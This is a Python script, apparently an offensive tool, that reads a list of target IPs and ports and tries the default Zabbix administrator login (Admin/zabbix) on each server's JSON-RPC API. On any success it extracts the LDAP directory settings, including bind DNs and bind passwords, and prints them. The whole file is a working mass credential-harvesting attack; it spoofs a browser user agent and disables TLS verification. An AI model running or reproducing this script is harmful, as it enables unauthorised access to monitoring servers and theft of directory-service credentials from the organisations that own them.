import asyncio
import json
import sys

import aiohttp

UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/131.0"}


async def rpc(sess, url, method, params, tok=None, bearer=False):
    body = {"jsonrpc": "2.0", "method": method, "params": params, "id": 1}
    hdr = {}
    if tok:
        if bearer:
            hdr["Authorization"] = "Bearer " + tok
        else:
            body["auth"] = tok
    async with sess.post(url, json=body, headers=hdr, ssl=False) as r:
        try:
            return json.loads(await r.content.read(200000))
        except Exception:
            return {}


async def call(sess, url, method, params, tok, bearer):
    j = await rpc(sess, url, method, params, tok, bearer)
    if not j or "error" in j:
        j2 = await rpc(sess, url, method, params, tok, not bearer)
        if j2 and "error" not in j2:
            return j2
    return j


async def one(sess, sem, ip, port, path, ver):
    scheme = "https" if port == "443" else "http"
    url = "%s://%s:%s%sapi_jsonrpc.php" % (scheme, ip, port, path)
    bearer = ver[:1] in "78"
    tag = "%s:%s%s" % (ip, port, path)
    try:
        async with sem:
            j = await rpc(sess, url, "user.login", {"username": "Admin", "password": "zabbix"})
            tok = j.get("result")
            if not isinstance(tok, str):
                return None
            j = await call(sess, url, "authentication.get", {}, tok, bearer)
            a = j.get("result") or {}
            j2 = await call(sess, url, "userdirectory.get",
                            {"output": ["userdirectoryid", "name", "idp_type", "ldap_bind_dn",
                                        "ldap_bind_password", "ldap_base_dn", "ldap_search_attribute",
                                        "ldap_host", "ldap_port"]}, tok, bearer)
            dirs = j2.get("result") or []
            ldap_on = str(a.get("ldap_auth_enabled", "0"))
            out = []
            for d in dirs if isinstance(dirs, list) else []:
                out.append("%s base=%s bind=%s pw=%s host=%s:%s attr=%s" % (
                    d.get("name"), d.get("ldap_base_dn"), d.get("ldap_bind_dn"),
                    d.get("ldap_bind_password"), d.get("ldap_host"), d.get("ldap_port"),
                    d.get("ldap_search_attribute")))
            return "%s ldap=%s saml=%s dirs=%d :: %s" % (
                tag, ldap_on, a.get("saml_auth_enabled"), len(out), " ;; ".join(out)[:400])
    except Exception:
        return None


async def main():
    rows = []
    for line in sys.stdin:
        f = line.rstrip("\n").split("\t")
        if len(f) >= 4:
            rows.append((f[0], f[1], f[2], f[3]))
    sem = asyncio.Semaphore(8)
    to = aiohttp.ClientTimeout(total=25, connect=5, sock_read=20)
    async with aiohttp.ClientSession(timeout=to, headers=UA,
                                     connector=aiohttp.TCPConnector(limit=0, ssl=False)) as s:
        for r in rows:
            res = await one(s, sem, *r)
            if res:
                print(res, flush=True)


asyncio.run(main())
